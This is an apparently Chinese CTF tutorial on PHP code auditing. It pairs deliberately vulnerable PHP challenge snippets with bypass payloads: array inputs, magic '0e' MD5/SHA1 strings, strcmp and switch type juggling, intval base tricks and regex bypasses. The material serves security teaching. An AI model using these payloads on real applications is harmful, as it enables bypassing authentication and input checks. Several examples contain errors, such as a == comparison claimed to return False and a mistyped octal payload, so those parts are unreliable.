CTF-PHP代码审计
[TOC]
前置知识
包括系统预定义变量, 弱类型语言,错误控制运算符,变量默认值等等,有基础可跳过
超全局变量 - 预定义常量
- $_POST
- $_GET
- $_COOKIE
- $_SESSION
- $_FILE
- $_REQUEST
- $_SERVER
- $_ENV 环境数据
- $GLOBALS 所有全局变量
变量的默认值
当各种类型的变量在被定义但未赋值的时候,他们的默认值
- Interger => 0
- float => 0.0
- string = > ‘’
- array = > array()
- boolean => false
- object => 空对象
错误控制运算符
@ 符号
将 @ 符号放置在 一个 php 表达式的前面,这个表达式所产生的任何信息都会被忽略掉
弱类型特性
在 php 中 有两种判断相等的比较符号 == 和 ===
- == 不会判断变量的类型
- === 会判断变量的类型
举例:
<?php
$param1 = 5;
$param2 = '5';
if($param1 == $param2){
echo "True";
}else{
echo "False";
}
//返回结果为True<?php
$param1 = 5;
$param2 = '5';
if($param1 == $param2){
echo "True";
}else{
echo "False";
}
// 返回结果为 False正则表达式
元字符
| 元字符 | 说明 |
|---|---|
| * | 0次、1次或多次匹配其前一位 |
| + | 1次或多次匹配其前的原子 |
| ? | 0次或1次匹配 |
| | | 匹配两个或者多个选择 |
| ^ | 匹配字符串串首 |
| $ | 匹配字符串 |
| [] | 匹配方括号中任一原子 |
| [^] | 匹配除方括号中的原子外的任何字符 |
| {m} | 表示其前原子恰好出现m次 |
| {m,n} | 表示其前原子 (n>m) |
| {m,} | 表示其前原子出现不少于m次 |
| () | 整体表示一个原子 |
| . | 匹配除换行之外的任何一个字符 |
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_GET['f'])){
$f = $_GET['f'];
if(preg_match('/.+?zkaqzkaq/is', $f)){
die('bye!');
}
if(stripos($f, 'zkaqzkaq') === FALSE){
die('bye!!');
}
echo $flag;
}
绕过
- preg_match 函数只能处理字符串,当传入的参数为数组时会返回 false
- 回溯绕过
- %0a 换行绕过
函数审计
is_numeric 函数
<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}绕过 : 前面加上 %09 %0a %0b %0c %0d 等空字符
is_numeric() 函数对于 %00 这类空字符,不管是放在前后都可以判断为非数值,而%20空格字符只能放在数值后,因为查看函数发现改函数对于第一个空格字符会跳过空格字符直接判断后面的内容
md5 sha1 函数
- 对于php强比较和弱比较: md5() ,sha1() 函数无法处理数组,如果传入的为数组,两个数组经过加密后都是 NULL ,也就是相等的。
- 对于某些特殊的字符串加密后得到的密文以 0e 开头,php 会当作可续计数法来处理,也就是 0 的n 次方,得到的值比较的时候 都相同。
payload:
md5:
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361
sha1:
10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799
eg:
<?php
highlight_file(__FILE__);
$name = $_GET['name'];
$pass = $_GET['pass'];
if($name != $pass){
if(md5($name) == md5($pass)){
echo "True: flag";
}
else{
echo "wrong";
}
}
else{
echo "1";
}
?>
绕过方法
使用数组绕过
http://localhost/?name[]=aaa&pass[]=bbb
使用特殊值绕过
http://localhost/?name=QLTHNDT&pass=QNKCDZO
案例:
<?php
// include('flag.php');
highlight_file(__FILE__);
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo "flag{asd}";
}
}else{
echo "where is flag?";
}
?>
strcmp 函数
strcmp($str1,$str2)
//strcmp 函数是比较两个字符串,如果str1<str2 则返回 < 0 。如果str1>str2 则返回 > 0 。 如果两者相等则返回 0;strcmp 比较的是字符串类型,如果强行传入其他类型参数,会出错,出错后返回值为0,一般利用这一点进行绕过
- flag.php
<?php
$flag = 'flag{lkasjhfdasdhfasiu8dfhawes}';
$password = 'asddddddddddddddddd';
?>
- index.php
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
if(isset($_GET['password'])){
if(strcmp($_GET['password'],$password) == 0){
echo "$flag";
}else{
echo "error";
}
}
?>
switch 函数
<?php
highlight_file(__FILE__);
error_reporting(0);
include("test.php");
if(isset($_GET['paraml'])){
$a = $_GET['paraml'];
switch($a){
case $a>=0:
echo 0;
break;
case $a>=10:
echo FLAG;
break;
default:
echo 2;
break;
}
}
?>
payload:
?paraml=0首先传进去 a = 0;
- 进入第一个case : 判断 0>=0 结果为true,接着判断 0 == true ,结果是false;
- 进入第二个case :判断 0>=10 结果是false,接着判断 0 == false 结果是true;
- 输出flag;
intval 函数
注:漏洞只存在于某些版本的php中
intval 用于获取变量的整数值
echo intval(53) // 53
echo intval(5.3) // 5函数使用方法:
int intval(var,base)
/*
var 是要转换成 integer 的数量值,base只转化所用的进制
如果base是0,通过检测 var 的格式来决定所使用的进制
0x -> 16进制
0 -> 8进制
否则使用10 进制
*/
成功时返回 var 的 integer 值,失败时返回 0;
空的 array 返回0 ,非空的 array 返回 0;
如果是一个弱比较 a == b ,我们传入 a[]=1和b[]=2
某些版本的php对科学计数法中的e不敏感
案例1:
<?php
highlight_file(__FILE__);
error_reporting(0);
include('test.php');
$s = $_GET['a'];
if(intval($s) < 666 && intval($s+1) > 667){
echo FLAG;
}
?>
payload:
?a = 1e10案例2:
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="6666"){
die("no no no!");
}
if(intval($num,0)===6666){
echo $flag;
}else{
echo intval($num,0);
}
}
?>解析: 函数格式 intval($value,$base)
当 $base 的值为0 时,函数会检测 $value 的格式来决定使用的进制
payload:
/?num=0x1a0a
strpos 函数
strpos 函数查找字符串在另一个字符串中出现的位置并返回
案例:
<?php
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="6666"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===6666){
echo $flag;
}
}
?>解析: preg_match 函数过滤了26的英文字母(包括大小写)
所以通过16进制来获取flag的方法是不可取的,可以考虑使用8进制来绕过,6666的八进制为 15012 在前面加上0 表示 8进制
所以传入 015012
会发现还是不行,这是因为 第三条 if函数 控制了第一个传入的字符不能为 0 所以被ban掉了
可以尝试在传参前面加上一个空格
payload:
num= 05012
in_array || array_search 函数
array_search 函数用于搜索指定的值,如果找到就返回这个值的键值,否则返回 false
用法:array_search(value,array,strict)
- value 为要搜索的值
- array 为目标数组
- strict 可选参数
- true 检查数据类型
- false 默认 不检查数据类型
ereg 函数
在字符串中搜索由模式指定的字符串,如果找到模式,则返回 true,否则返回 false,区分大小写,在 PHP 5.3.0 版本中已经废弃
只能处理字符串,遇到数组会返回 null
遇到 %00 截止。